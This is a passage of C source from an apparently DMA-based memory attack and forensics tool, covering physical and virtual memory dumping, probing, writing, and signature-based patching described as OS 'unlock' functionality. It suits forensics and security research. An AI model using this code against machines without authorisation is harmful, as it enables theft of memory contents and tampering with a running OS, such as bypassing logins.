PMEMDUMP_FILEWRITE ctx)\n{\n    PMEMDUMP_FILEWRITE_DATA pd;\n    while(ctx->fValid) {\n        if(ctx->iRead == ctx->iWrite) {\n            Sleep(25);\n            continue;\n        }\n        pd = &ctx->Data[ctx->iRead % MEMDUMP_NUM_BUFFER];\n        _fseeki64(ctx->hFile, pd->pa - pd->paMin, SEEK_SET);\n        if(pd->cb != fwrite(pd->pb, 1, pd->cb, ctx->hFile)) {\n            printf(\"Memory Dump: Failed. Write to file.\\n\");\n            break;\n        }\n        InterlockedIncrement64(&ctx->iRead);\n    }\n    ctx->fTerminated = TRUE;\n    return 0;\n}\n\nVOID MemoryDump_File_Close(_Post_ptr_invalid_ PMEMDUMP_FILEWRITE pfw)\n{\n    pfw->fValid = FALSE;\n    while(!pfw->fFileNone && !pfw->fTerminated) {\n        Sleep(25);\n    }\n    if(pfw->hFile) { fclose(pfw->hFile); }\n    LocalFree(pfw);\n}\n\nPMEMDUMP_FILEWRITE MemoryDump_File_Initialize(_In_ BOOL fAllocFile4GB)\n{\n    FILE *hFileTMP;\n    HANDLE hThread;\n    PMEMDUMP_FILEWRITE pfw;\n    MemoryDump_SetOutFileName();\n    if(!(pfw = LocalAlloc(LMEM_ZEROINIT, sizeof(MEMDUMP_FILEWRITE)))) {\n        printf(\"Memory Dump: Failed. Out of memory.\\n\");\n        goto fail;\n    }\n    if(0 == ctxMain->cfg.szFileOut[0]) {\n        pfw->fFileNone = TRUE;\n        return pfw;\n    }\n    if(!fopen_s(&hFileTMP, ctxMain->cfg.szFileOut, \"r\")) {\n        fclose(hFileTMP);\n        printf(\"Memory Dump: Failed. File already exists.\\n\");\n        goto fail;\n    }\n    if(fopen_s(&pfw->hFile, ctxMain->cfg.szFileOut, \"wb\")) {\n        printf(\"Memory Dump: Failed. Error writing to file.\\n\");\n        goto fail;\n    }\n    if(fAllocFile4GB) {\n        printf(\"Memory Dump: Initializing ...\");\n        if(_chsize_s(_fileno(pfw->hFile), MEMDUMP_4GB)) {\n            printf(\"Memory Dump: Failed. Cannot set initial file size to 4GB for 'safer dump'.\\n\");\n            goto fail;\n        }\n        printf(\" Done.\\n\");\n    }\n    pfw->fValid = TRUE;\n    if(!(hThread = CreateThread(NULL, 0, MemoryDump_File_ThreadProc, pfw, 0, NULL))) {\n        printf(\"Memory Dump: Failed. Create Thread.\\n\");\n        goto fail;\n    }\n    CloseHandle(hThread);\n    return pfw;\nfail:\n    if(pfw) {\n        if(pfw->hFile) { fclose(pfw->hFile); }\n        LocalFree(pfw);\n    }\n    return NULL;\n}\n\n/*\n* Dump memory with the kernel module (KMD) / USB3380 strategy - that is:\n* - read chunks:\n*      from zero (or user-specified value)\n*      to to max supported memory (or specified by user)\n*      in 16MB chunks.\n* If the mode is USB3380 native a failed read for 16MB will stop the dumping.\n*/\nVOID ActionMemoryDump_KMD_USB3380()\n{\n    BOOL fPartialSuccess;\n    QWORD paCurrent, paMin, paMax;\n    PMEMDUMP_FILEWRITE_DATA pd;\n    PMEMDUMP_FILEWRITE pfw = NULL;\n    PPAGE_STATISTICS pStat = NULL;\n    // 1: Initialize result file, buffers and statistics:\n    paMin = ctxMain->cfg.paAddrMin & ~0xfff;\n    paMax = (ctxMain->cfg.paAddrMax + 1) & ~0xfff;\n    if(!(pfw = MemoryDump_File_Initialize(FALSE))) { return; }\n    PageStatInitialize(&pStat, paMin, paMax, \"Dumping Memory\", ctxMain->phKMD ? TRUE : FALSE, ctxMain->cfg.fVerbose);\n    // 2: Dump memory in 16MB blocks:\n    paCurrent = paMin;\n    PageStatUpdate(pStat, paCurrent, 0, 0);\n    while(!pfw->fTerminated && (paCurrent < paMax)) {\n        if(!pfw->fFileNone && (pfw->iWrite >= pfw->iRead + 3)) {\n            Sleep(25);\n            continue;\n        }\n        pd = &pfw->Data[pfw->iWrite % MEMDUMP_NUM_BUFFER];\n        pd->cb = (DWORD)min(MEMDUMP_DATABUFFER_SIZE, paMax - paCurrent);\n        pd->pa = paCurrent;\n        if(!Util_Read16M(pd->pb, paCurrent, pStat)) {\n            printf(\"Memory Dump: Failed. Cannot dump any sequential data in 16MB - terminating.\\n\");\n            goto fail;\n        }\n        InterlockedIncrement64(&pfw->iWrite);\n        paCurrent += pd->cb;\n    }\n    fPartialSuccess = pStat->cPageSuccess > 0;\n    PageStatClose(&pStat);\n    if(!pfw->fTerminated) {\n        printf(\"Memory Dump: %s.\\n\", fPartialSuccess ? \"Successful\" : \"Failed\");\n    }\nfail:\n    PageStatClose(&pStat);\n    MemoryDump_File_Close(pfw);\n}\n\n/*\n* Dump memory with native mode strategy:\n* If more than 4GB memory exists, dump memory above 4GB first and then start\n* dumping between zero and 4GB - this to dump as much memory as possible before\n* hitting problematic PCIe memory mapped devices between 3-4GB which commonly\n* crashes computer when read ...\n*/\nVOID ActionMemoryDump_Native()\n{\n    BOOL fSaferDump;\n    QWORD paCurrent, paMin, paMax;\n    PMEMDUMP_FILEWRITE_DATA pd;\n    PMEMDUMP_FILEWRITE pfw = NULL;\n    PPAGE_STATISTICS pStat = NULL;\n    // 1: Initialize result file, buffers and statistics:\n    paMin = ctxMain->cfg.paAddrMin & ~0xfff;\n    paMax = (ctxMain->cfg.paAddrMax + 1) & ~0xfff;\n    fSaferDump = PCILEECH_DEVICE_EQUALS(\"fpga\") && (paMin == 0) && (paMax > MEMDUMP_4GB);\n    if(!(pfw = MemoryDump_File_Initialize(fSaferDump))) { return; }\n    PageStatInitialize(&pStat, paMin, paMax, \"Dumping Memory\", FALSE, ctxMain->cfg.fVerbose);\n    // 2: Dump memory in 16MB blocks:\n    paCurrent = fSaferDump ? MEMDUMP_4GB : paMin;\n    PageStatUpdate(pStat, paCurrent, 0, 0);\n    while(!pfw->fTerminated) {\n        if(!pfw->fFileNone && (pfw->iWrite >= pfw->iRead + 3)) {\n            Sleep(25);\n            continue;\n        }\n        pd = &pfw->Data[pfw->iWrite % MEMDUMP_NUM_BUFFER];\n        pd->cb = (DWORD)min(MEMDUMP_DATABUFFER_SIZE, paMax - paCurrent);\n        pd->pa = paCurrent;\n        pd->paMin = paMin;\n        ZeroMemory(pd->pb, pd->cb);\n        DeviceReadDMA(pd->pa, pd->cb, pd->pb, pStat);\n        InterlockedIncrement64(&pfw->iWrite);\n        if(paMax == pd->pa + pd->cb) {\n            if(fSaferDump) {\n                paCurrent = 0;\n                PageStatUpdate(pStat, paCurrent, 0, 0);\n                continue;\n            }\n            break;\n        }\n        if(fSaferDump && (MEMDUMP_4GB == pd->pa + pd->cb)) {\n            break;\n        }\n        paCurrent += pd->cb;\n    }\n    PageStatClose(&pStat);\n    if(!pfw->fTerminated) {\n        printf(\"Memory Dump: Successful.\\n\");\n    }\n    MemoryDump_File_Close(pfw);\n}\n\nVOID ActionMemoryDump()\n{\n    if(ctxMain->phKMD || PCILEECH_DEVICE_EQUALS(\"usb3380\")) {\n        ActionMemoryDump_KMD_USB3380();\n    } else {\n        ActionMemoryDump_Native();\n    }\n}\n\n#define MEMORY_PROBE_PAGES_PER_SWEEP    0x1000\n\nVOID ActionMemoryProbe()\n{\n    QWORD pa, i, cPages;\n    PPAGE_STATISTICS pPageStat = NULL;\n    PBYTE pbProbeResultMap = NULL;\n    DWORD cbProbeResultMap;\n    ctxMain->cfg.paAddrMin &= ~0xfff;\n    ctxMain->cfg.paAddrMax = (ctxMain->cfg.paAddrMax + 1) & ~0xfff;\n    pa = ctxMain->cfg.paAddrMin;\n    printf(\"WARNING: 'probe' may cause the device to stop working until a reboot on AMD or\\n\");\n    printf(\"         Thunderbolt systems and is discouraged. See link for additional info:\\n\");\n    printf(\"         https://github.com/ufrisk/LeechCore/wiki/Device_FPGA_AMD_Thunderbolt \\n\\n\");\n    PageStatInitialize(&pPageStat, ctxMain->cfg.paAddrMin, ctxMain->cfg.paAddrMax, \"Probing Memory\", FALSE, TRUE);\n    while(pa < ctxMain->cfg.paAddrMax) {\n        cPages = (DWORD)min(MEMORY_PROBE_PAGES_PER_SWEEP, (ctxMain->cfg.paAddrMax - pa) / 0x1000);\n        if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_PROBE | cPages, sizeof(QWORD), (PBYTE)&pa, &pbProbeResultMap, &cbProbeResultMap) || (cPages > cbProbeResultMap)) {\n            PageStatClose(&pPageStat);\n            printf(\"Memory Probe: Failed. Unsupported device or other failure.\\n\");\n            return;\n        }\n        for(i = 0; i < cPages; i++) {\n            PageStatUpdate(pPageStat, (pa + i * 0x1000 + 0x1000), (pbProbeResultMap[i] ? 1 : 0), (pbProbeResultMap[i] ? 0 : 1));\n        }\n        pa += MEMORY_PROBE_PAGES_PER_SWEEP * 0x1000;\n    }\n    PageStatClose(&pPageStat);\n    printf(\"Memory Probe: Completed.\\n\");\n}\n\nVOID ActionMemoryDisplayPhysical()\n{\n    QWORD qwAddrBase, qwAddrOffset, qwSize, qwSize_4kAlign;\n    PBYTE pb;\n    // allocate and calculate values\n    pb = LocalAlloc(0, 0x10000);\n    if(!pb) { return; }\n    qwAddrBase = ctxMain->cfg.paAddrMin & 0x0fffffffffffff000;\n    qwAddrOffset = ctxMain->cfg.paAddrMin & 0xff0;\n    qwSize_4kAlign = SIZE_PAGE_ALIGN_4K(ctxMain->cfg.paAddrMax) - qwAddrBase;\n    qwSize = ((ctxMain->cfg.paAddrMax + 0xf) & 0x0fffffffffffffff0) - (qwAddrBase + qwAddrOffset);\n    if(qwSize_4kAlign > 0x10000 || (ctxMain->cfg.paAddrMax == ctxMain->dev.paMax)) {\n        qwSize = 0x100;\n        qwSize_4kAlign = (qwAddrOffset <= 0xf00) ? 0x1000 : 0x2000;\n    }\n    // read memory and display output\n    if(!DeviceReadMEM(qwAddrBase, (DWORD)qwSize_4kAlign, pb, TRUE)) {\n        printf(\"Memory Display: Failed reading memory at address: 0x%016llX.\\n\", qwAddrBase);\n        LocalFree(pb);\n        return;\n    }\n    printf(\"Memory Display: Contents for address: 0x%016llX\\n\", qwAddrBase);\n    Util_PrintHexAscii(pb, (DWORD)(qwSize + qwAddrOffset), (DWORD)qwAddrOffset);\n    LocalFree(pb);\n}\n\nVOID ActionMemoryDisplayVirtual()\n{\n    QWORD qwAddrBase, qwAddrOffset, qwSize, qwSize_4kAlign;\n    PBYTE pb;\n    // allocate and calculate values\n    pb = LocalAlloc(0, 0x10000);\n    if(!pb) { return; }\n    qwAddrBase = ctxMain->cfg.vaAddrMin & 0x0fffffffffffff000;\n    qwAddrOffset = ctxMain->cfg.vaAddrMin & 0xff0;\n    qwSize_4kAlign = SIZE_PAGE_ALIGN_4K(ctxMain->cfg.vaAddrMax) - qwAddrBase;\n    qwSize = ((ctxMain->cfg.vaAddrMax + 0xf) & 0x0fffffffffffffff0) - (qwAddrBase + qwAddrOffset);\n    if(qwSize_4kAlign > 0x10000 || (ctxMain->cfg.vaAddrMax == ctxMain->dev.paMax)) {\n        qwSize = 0x100;\n        qwSize_4kAlign = (qwAddrOffset <= 0xf00) ? 0x1000 : 0x2000;\n    }\n    // initialize vmm/memprocfs\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"Memory Display: Failed. Unable to initialize virtual memory.\\n\");\n        LocalFree(pb);\n        return;\n    }\n    if(!ctxMain->cfg.dwPID) {\n        if(!VMMDLL_PidGetFromName(ctxMain->hVMM, ctxMain->cfg.szProcessName, &ctxMain->cfg.dwPID)) {\n            printf(\"Memory Display: Failed to retrieve PID for process: %s.\\n\", ctxMain->cfg.szProcessName);\n            LocalFree(pb);\n            return;\n        }\n    }\n    // read memory and display output\n    if(!VMMDLL_MemRead(ctxMain->hVMM, ctxMain->cfg.dwPID, qwAddrBase, pb, (DWORD)qwSize_4kAlign)) {\n        printf(\"Memory Display: Failed reading memory at address: 0x%016llX.\\n\", qwAddrBase);\n        LocalFree(pb);\n        return;\n    }\n    printf(\"Memory Display: Contents for address: 0x%016llX\\n\", qwAddrBase);\n    Util_PrintHexAscii(pb, (DWORD)(qwSize + qwAddrOffset), (DWORD)qwAddrOffset);\n    LocalFree(pb);\n}\n\nVOID ActionMemoryPageDisplay()\n{\n    if(ctxMain->cfg.fModeVirtual) {\n        // virtual memory (Windows only):\n        ctxMain->cfg.vaAddrMin = ctxMain->cfg.vaAddrMin & 0x0fffffffffffff000;\n        ctxMain->cfg.vaAddrMax = ctxMain->cfg.vaAddrMin + 0x1000;\n        ActionMemoryDisplayVirtual();\n    } else {\n        // physical memory\n        ctxMain->cfg.paAddrMin = ctxMain->cfg.paAddrMin & 0x0fffffffffffff000;\n        ctxMain->cfg.paAddrMax = ctxMain->cfg.paAddrMin + 0x1000;\n        ActionMemoryDisplayPhysical();\n    }\n}\n\nVOID ActionMemoryTestReadWrite()\n{\n    BYTE pb1[4096], pb2[4096], pb3[4096];\n    DWORD dwAddrPci32 = (DWORD)(ctxMain->cfg.paAddrMin & 0xfffff000);\n    DWORD i, dwOffset, dwRuns = 1000;\n    BOOL r1, r2;\n    if(ctxMain->phKMD) {\n        printf(\"Memory Test Read: Failed. Memory test may not run in KMD mode.\\n\");\n        return;\n    }\n    LcRead(ctxMain->hLC, dwAddrPci32, 4096, pb1);\n    // READ DMA\n    printf(\"Memory Test Read: starting, reading %i times from address: 0x%08x\\n\", dwRuns, dwAddrPci32);\n    LcRead(ctxMain->hLC, dwAddrPci32, 4096, pb1);\n    for(i = 0; i < dwRuns; i++) {\n        r1 = LcRead(ctxMain->hLC, dwAddrPci32, 4096, pb2);\n        if(!r1 || (dwOffset = Util_memcmpEx(pb1, pb2, 4096))) {\n            printf(\"Memory Test Read: Failed. DMA failed / data changed by target computer / memory corruption. Read: %i. Run: %i. Offset: 0x%03x\\n\", r1, i, (r1 ? --dwOffset : 0));\n            return;\n        }\n    }\n    // WRITE DMA\n    printf(\"Memory Test Read: SUCCESS!\\n\");\n    if(ctxMain->cfg.tpAction == TESTMEMREADWRITE) {\n        dwRuns = 100;\n        printf(\"Memory Test Write: starting, reading/writing %i times from address: 0x%08x\\n\", dwRuns, dwAddrPci32);\n        for(i = 0; i < dwRuns; i++) {\n            Util_GenRandom(pb3, 4096);\n            r1 = LcWrite(ctxMain->hLC, dwAddrPci32, 4096, pb3);\n            r2 = LcRead(ctxMain->hLC, dwAddrPci32, 4096, pb2);\n            if(!r1 || !r2 || (dwOffset = Util_memcmpEx(pb2, pb3, 4096))) {\n                LcWrite(ctxMain->hLC, dwAddrPci32, 4096, pb1);\n                printf(\"Memory Test Write: Failed. DMA failed / data changed by target computer / memory corruption. Write: %i. Read: %i. Run: %i. Offset: 0x%03x\\n\", r1, r2, i, --dwOffset);\n                return;\n            }\n        }\n        LcWrite(ctxMain->hLC, dwAddrPci32, 4096, pb1);\n        printf(\"Memory Test Write: Success!\\n\");\n    }\n}\n\nVOID ActionMemoryWrite()\n{\n    BOOL result;\n    if(ctxMain->cfg.cbIn == 0) {\n        printf(\"Memory Write: Failed. No data to write.\\n\");\n        return;\n    }\n    if(ctxMain->cfg.cbIn > 0x01000000) {\n        printf(\"Memory Write: Failed. Data too large: >16MB.\\n\");\n        return;\n    }\n    if(ctxMain->cfg.fLoop) {\n        printf(\"Memory Write: Starting loop write. Press CTRL+C to abort.\\n\");\n    }\n    if(ctxMain->cfg.fModeVirtual) {\n        // virtual memory (Windows only):\n        if(!Vmmx_Initialize(FALSE, FALSE)) {\n            printf(\"Memory Write: Failed. Unable to initialize virtual memory.\\n\");\n            return;\n        }\n        if(!ctxMain->cfg.dwPID) {\n            if(!VMMDLL_PidGetFromName(ctxMain->hVMM, ctxMain->cfg.szProcessName, &ctxMain->cfg.dwPID)) {\n                printf(\"Memory Write: Failed to retrieve PID for process: %s.\\n\", ctxMain->cfg.szProcessName);\n                return;\n            }\n        }\n        do {\n            result = VMMDLL_MemWrite(ctxMain->hVMM, ctxMain->cfg.dwPID, ctxMain->cfg.vaAddrMin, ctxMain->cfg.pbIn, (DWORD)ctxMain->cfg.cbIn);\n            if(!result) {\n                printf(\"Memory Write: Failed. Write failed (partial memory may be written).\\n\");\n                return;\n            }\n        } while(ctxMain->cfg.fLoop);\n    } else {\n        // physical memory:\n        do {\n            result = DeviceWriteMEM(ctxMain->cfg.paAddrMin, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, FALSE);\n            if(!result) {\n                printf(\"Memory Write: Failed. Write failed (partial memory may be written).\\n\");\n                return;\n            }\n        } while(ctxMain->cfg.fLoop);\n    }\n    printf(\"Memory Write: Successful.\\n\");\n}\n"
  },
  {
    "path": "pcileech/memdump.h",
    "content": "// memdump.h : definitions related to memory dumping functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __MEMDUMP_H__\n#define __MEMDUMP_H__\n#include \"pcileech.h\"\n\n/*\n* Dump physical memory to file. The USB3380 card may only dump the lower 4GB\n* in default DMA mode due to hardware limitations. If a kernel module (KMD) is\n* inserted in the target computer OS kernel all memory may be dumped.\n*/\nVOID ActionMemoryDump();\n\n/*\n* Probe readable physical memory (for reading). The resulting memory map is\n* displayed on-screen. Probing is performed in DMA mode. The USB3380 hardware\n* does not support this operation.\n*/\nVOID ActionMemoryProbe();\n\n/*\n* Write data to the physical memory. The USB3380 may only write to the lower\n* 4GB in default DMA mode due to hardware limitations. If a kernel module (KMD)\n* is inserted in the target computer OS any kernel accessable memory can be\n* written/updated.\n*/\nVOID ActionMemoryWrite();\n\n/*\n* Tries to read a page 1000 times from the address specified in the min parameter\n* in pCfg. If memory is changed the result will be flagged.\n* After a read an optional 100 write/read cycles will be completed to test write.\n*/\nVOID ActionMemoryTestReadWrite();\n\n/*\n* Print out the contents of the 1st readable page. The address specified in the\n* min parameter in pCfg.\n*/\nVOID ActionMemoryPageDisplay();\n\n/*\n* Print out a maximum of 16kB (0x10000) physical memory limited by the\n* paMin and paMax parameters in pCfg. By default 0x100 bytes are displayed.\n*/\nVOID ActionMemoryDisplayPhysical();\n\n/*\n* Print out a maximum of 16kB (0x10000) virtual memory limited by the\n* vaMin and vaMax parameters in pCfg. By default 0x100 bytes are displayed.\n*/\nVOID ActionMemoryDisplayVirtual();\n\n#endif /* __MEMDUMP_H__ */\n"
  },
  {
    "path": "pcileech/mempatch.c",
    "content": "// mempatch.c : implementation related to operating systems unlock/patch functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"mempatch.h\"\n#include \"device.h\"\n#include \"util.h\"\n#include \"vmmx.h\"\n#include <vmmdll.h>\n\n_Success_(return)\nBOOL Patch_CmpChunk(_In_ PBYTE pbPage, _In_ PSIGNATURE_CHUNK pChunk, _In_opt_ DWORD dwRelBase, _Out_opt_ PDWORD pdwOffset)\n{\n    DWORD o;\n    if(pChunk->tpOffset == SIGNATURE_CHUNK_TP_OFFSET_FIXED) {\n        if(pChunk->cbOffset + pChunk->cb > 0x1000) { return FALSE; }\n        if(0 == memcmp(pbPage + pChunk->cbOffset, pChunk->pb, pChunk->cb)) {\n            if(pdwOffset) { *pdwOffset = pChunk->cbOffset; }\n            return TRUE;\n        }\n    }\n    if(pChunk->tpOffset == SIGNATURE_CHUNK_TP_OFFSET_RELATIVE) {\n        if(pChunk->cbOffset + dwRelBase + pChunk->cb > 0x1000) { return FALSE; }\n        if(0 == memcmp(pbPage + dwRelBase + pChunk->cbOffset, pChunk->pb, pChunk->cb)) {\n            if(pdwOffset) { *pdwOffset = dwRelBase + pChunk->cbOffset; }\n            return TRUE;\n        }\n    }\n    if(pChunk->tpOffset == SIGNATURE_CHUNK_TP_OFFSET_ANY) {\n        for(o = 0; o <= 0x1000 - pChunk->cb; o++) {\n            // comparison - extra \"unnecessary\" dword comparison for speedup reasons.\n            if(((pChunk->cb < sizeof(DWORD)) || (*(PDWORD)pChunk->pb == *(PDWORD)(pbPage + o))) &&\n                (0 == memcmp(pbPage + o, pChunk->pb, pChunk->cb))) {\n                if(pdwOffset) { *pdwOffset = o; }\n                return TRUE;\n            }\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL Patch_FindAndPatch(_Inout_ PBYTE pbPage, _In_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwPatchOffset, _Out_ PDWORD pcbPatch)\n{\n    DWORD i, o, dwRelBase;\n    PSIGNATURE ps;\n    for(i = 0; i < cSignatures; i++) {\n        ps = pSignatures + i;\n        if(!ps->chunk[0].cb || !Patch_CmpChunk(pbPage, &ps->chunk[0], 0, &dwRelBase)) {\n            continue;\n        }\n        if(ps->chunk[1].cb && !Patch_CmpChunk(pbPage, &ps->chunk[1], dwRelBase, NULL)) {\n            continue;\n        }\n        o = ps->chunk[2].cbOffset;\n        if(ps->chunk[2].tpOffset == SIGNATURE_CHUNK_TP_OFFSET_RELATIVE) { \n            o += dwRelBase;\n        }\n        if(o + ps->chunk[2].cb < 0x1000) {\n            memcpy(pbPage + o, ps->chunk[2].pb, ps->chunk[2].cb);\n            *pdwPatchOffset = o;\n            *pcbPatch = ps->chunk[2].cb;\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n#define MAX_NUM_PATCH_LOCATIONS        0x100\n\nVOID ActionPatchAndSearchPhysical()\n{\n    PSIGNATURE pSignatures;\n    DWORD dwoPatch, cbPatch, cSignatures = CONFIG_MAX_SIGNATURES;\n    QWORD qwAddrBase;\n    PBYTE pbBuffer16M = NULL;\n    PPAGE_STATISTICS pPageStat = NULL;\n    BOOL result, isModePatch = ctxMain->cfg.tpAction == PATCH;\n    LPSTR szAction = isModePatch ? \"Patch\" : \"Search\";\n    QWORD i, qwoPages, qwPatchList[MAX_NUM_PATCH_LOCATIONS], cPatchList = 0;\n    // initialize / allocate memory\n    if(!(pSignatures = LocalAlloc(LMEM_ZEROINIT, cSignatures * sizeof(SIGNATURE)))) { goto cleanup; }\n    if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) { goto cleanup; }\n    qwAddrBase = ctxMain->cfg.paAddrMin;\n    if(ctxMain->cfg.paAddrMax < qwAddrBase + 0xfff) {\n        printf(\"%s: Failed. Zero or negative memory range specified.\\n\", szAction);\n        goto cleanup;\n    }\n    // load and verify signatures\n    if(ctxMain->cfg.cbIn) {\n        Util_CreateSignatureSearchAll(ctxMain->cfg.pbIn, (DWORD)ctxMain->cfg.cbIn, pSignatures);\n        cSignatures = 1;\n    } else {\n        result = Util_LoadSignatures(ctxMain->cfg.szSignatureName, \".sig\", pSignatures, &cSignatures, 3);\n        if(!result || !cSignatures) {\n            printf(\"%s: Failed. Failed to load signature.\\n\", szAction);\n            goto cleanup;\n        }\n    }\n    if(isModePatch) {\n        for(i = 0; i < cSignatures; i++) {\n            if(pSignatures[i].chunk[2].cb == 0 || pSignatures[i].chunk[2].cb > 4096 || pSignatures[i].chunk[2].tpOffset == SIGNATURE_CHUNK_TP_OFFSET_ANY) {\n                printf(\"%s: Failed. Invalid patch signature.\\n\", szAction);\n            }\n        }\n    }\n    // loop patch / unlock\n    PageStatInitialize(&pPageStat, qwAddrBase, ctxMain->cfg.paAddrMax, isModePatch ? \"Patching\" : \"Searching\", ctxMain->phKMD ? TRUE : FALSE, ctxMain->cfg.fVerbose);\n    for(; qwAddrBase < ctxMain->cfg.paAddrMax; qwAddrBase += 0x01000000) {\n        result = Util_Read16M(pbBuffer16M, qwAddrBase, pPageStat);\n        if(!result && !ctxMain->cfg.fForceRW && !ctxMain->phKMD && PCILEECH_DEVICE_EQUALS(\"usb3380\")) {\n            // terminate if 16MB cannot be read from the USB3380 device.\n            PageStatClose(&pPageStat);\n            printf(\"%s: Failed. Cannot dump any sequential data in 16MB - terminating.\\n\", szAction);\n            goto cleanup;\n        }\n        for(qwoPages = 0; (qwoPages < 0x01000000) && (qwAddrBase + qwoPages < ctxMain->cfg.paAddrMax); qwoPages += 0x1000) {\n            result = Patch_FindAndPatch(pbBuffer16M + qwoPages, pSignatures, cSignatures, &dwoPatch, &cbPatch);\n            if(!result) {\n                continue;\n            }\n            if(isModePatch) {\n                result = DeviceWriteMEM(qwAddrBase + qwoPages + dwoPatch, cbPatch, pbBuffer16M + qwoPages + dwoPatch, FALSE);\n            }\n            if(result) {\n                if(cPatchList == MAX_NUM_PATCH_LOCATIONS) {\n                    PageStatClose(&pPageStat);\n                    printf(\"%s: Failed. More than %i signatures found. Location: 0x%llx\\n\", szAction, MAX_NUM_PATCH_LOCATIONS, qwAddrBase + qwoPages + dwoPatch);\n                    goto cleanup;\n                }\n                qwPatchList[cPatchList] = qwAddrBase + qwoPages + dwoPatch;\n                cPatchList++;\n            } else {\n                PageStatClose(&pPageStat);\n                printf(\"%s: Failed. Write memory failed. Location: 0x%llx\\n\", szAction, qwAddrBase + qwoPages + dwoPatch);\n                goto cleanup;\n            }\n            if(!ctxMain->cfg.fPatchAll) {\n                goto cleanup;\n            }\n        }\n    }\n    if(0 == cPatchList) {\n        PageStatClose(&pPageStat);\n        printf(\"%s: Failed. No signature found.\\n\", szAction);\n    }\ncleanup:\n    PageStatClose(&pPageStat);\n    if(cPatchList) {\n        for(i = 0; i < cPatchList; i++) {\n            printf(\"%s: Successful. Location: 0x%llx\\n\", szAction, qwPatchList[i]);\n        }\n    }\n    LocalFree(pSignatures);\n    LocalFree(pbBuffer16M);\n}\n\n\ntypedef struct tdSEARCH_INTERNAL_CONTEXT {\n    DWORD dwPID;\n    BOOL isModePatch;\n    DWORD cSignatures;\n    PSIGNATURE pSignatures;\n    LPSTR szAction;\n    DWORD cPatchList;\n    QWORD qwPatchList[MAX_NUM_PATCH_LOCATIONS];\n} SEARCH_INTERNAL_CONTEXT, *PSEARCH_INTERNAL_CONTEXT;\n\n/*\n* Virtual memory search callback function.\n* -- return: continue_search(TRUE), abort_search(FALSE).\n*/\nBOOL ActionPatchAndSearchVirtual_ResultCB(_In_ PVMMDLL_MEM_SEARCH_CONTEXT ctxs, _In_ QWORD va, _In_ DWORD iSearch)\n{\n    PSEARCH_INTERNAL_CONTEXT ctxi = (PSEARCH_INTERNAL_CONTEXT)ctxs->pvUserPtrOpt;\n    BYTE pbPage[0x1000];\n    BOOL result;\n    QWORD vaPage;\n    DWORD dwoPatch, cbPatch;\n    // 1: fetch page\n    vaPage = va & ~0xfff;\n    if(!VMMDLL_MemRead(ctxMain->hVMM, ctxi->dwPID, vaPage, pbPage, 0x1000)) {\n        return TRUE;\n    }\n    // 2: patch / unlock (using same methodology as in physical layer)\n    result = Patch_FindAndPatch(pbPage, ctxi->pSignatures + iSearch, 1, &dwoPatch, &cbPatch);\n    if(!result) {\n        return TRUE;\n    }\n    if(ctxi->isModePatch) {\n        result = VMMDLL_MemWrite(ctxMain->hVMM, ctxi->dwPID, vaPage + dwoPatch, ctxi->pSignatures[iSearch].chunk[2].pb, ctxi->pSignatures[iSearch].chunk[2].cb);\n    }\n    if(result) {\n        if(ctxi->cPatchList == MAX_NUM_PATCH_LOCATIONS) {\n            printf(\"%s: Failed. More than %i signatures found. Location: 0x%llx\\n\", ctxi->szAction, MAX_NUM_PATCH_LOCATIONS, vaPage + dwoPatch);\n            return FALSE;\n        }\n        if(ctxi->cPatchList && (ctxi->qwPatchList[ctxi->cPatchList - 1] == vaPage + dwoPatch)) {\n            return TRUE;    // skip if already registered (multiple finds in same page)\n        }\n        ctxi->qwPatchList[ctxi->cPatchList] = vaPage + dwoPatch;\n        ctxi->cPatchList++;\n        ctxs->cResult++;\n    } else {\n        printf(\"%s: Failed. Write memory failed. Location: 0x%llx\\n\", ctxi->szAction, vaPage + dwoPatch);\n        return FALSE;\n    }\n    return ctxMain->cfg.fPatchAll;\n}\n\nVOID ActionPatchAndSearchVirtual()\n{\n    DWORD i;\n    BOOL result;\n    PSTATISTICS_SEARCH pStat = NULL;\n    SEARCH_INTERNAL_CONTEXT ctxi = { 0 };\n    VMMDLL_MEM_SEARCH_CONTEXT ctxs = { 0 };\n\n    // initialize VMM/MemProcFS\n    if(!Vmmx_Initialize(TRUE, FALSE)) {\n        printf(\"%s: Failed. Failed to initialize vmm.\\n\", ctxi.szAction);\n        goto cleanup;\n    }\n    if(!ctxMain->cfg.dwPID) {\n        if(!VMMDLL_PidGetFromName(ctxMain->hVMM, ctxMain->cfg.szProcessName, &ctxMain->cfg.dwPID)) {\n            printf(\"%s: Failed. Failed to retrieve PID for process: %s.\\n\", ctxi.szAction, ctxMain->cfg.szProcessName);\n            goto cleanup;\n        }\n    }\n\n    // initialize ctxi (internal context) & allocate memory\n    ctxi.dwPID = ctxMain->cfg.dwPID;\n    ctxi.isModePatch = (ctxMain->cfg.tpAction == PATCH);\n    ctxi.szAction = ctxi.isModePatch ? \"Patch\" : \"Search\";\n    ctxi.cSignatures = CONFIG_MAX_SIGNATURES;\n    if(!(ctxi.pSignatures = LocalAlloc(LMEM_ZEROINIT, ctxi.cSignatures * sizeof(SIGNATURE)))) { goto cleanup; }\n\n    // load and verify signatures\n    if(ctxMain->cfg.cbIn) {\n        Util_CreateSignatureSearchAll(ctxMain->cfg.pbIn, (DWORD)ctxMain->cfg.cbIn, ctxi.pSignatures);\n        ctxi.cSignatures = 1;\n    } else {\n        result = Util_LoadSignatures(ctxMain->cfg.szSignatureName, \".sig\", ctxi.pSignatures, &ctxi.cSignatures, 3);\n        if(!result || !ctxi.cSignatures) {\n            printf(\"%s: Failed. Failed to load signature.\\n\", ctxi.szAction);\n            goto cleanup;\n        }\n    }\n    if(ctxi.isModePatch) {\n        for(i = 0; i < ctxi.cSignatures; i++) {\n            if(ctxi.pSignatures[i].chunk[2].cb == 0 || ctxi.pSignatures[i].chunk[2].cb > 4096 || ctxi.pSignatures[i].chunk[2].tpOffset == SIGNATURE_CHUNK_TP_OFFSET_ANY) {\n                printf(\"%s: Failed. Invalid patch 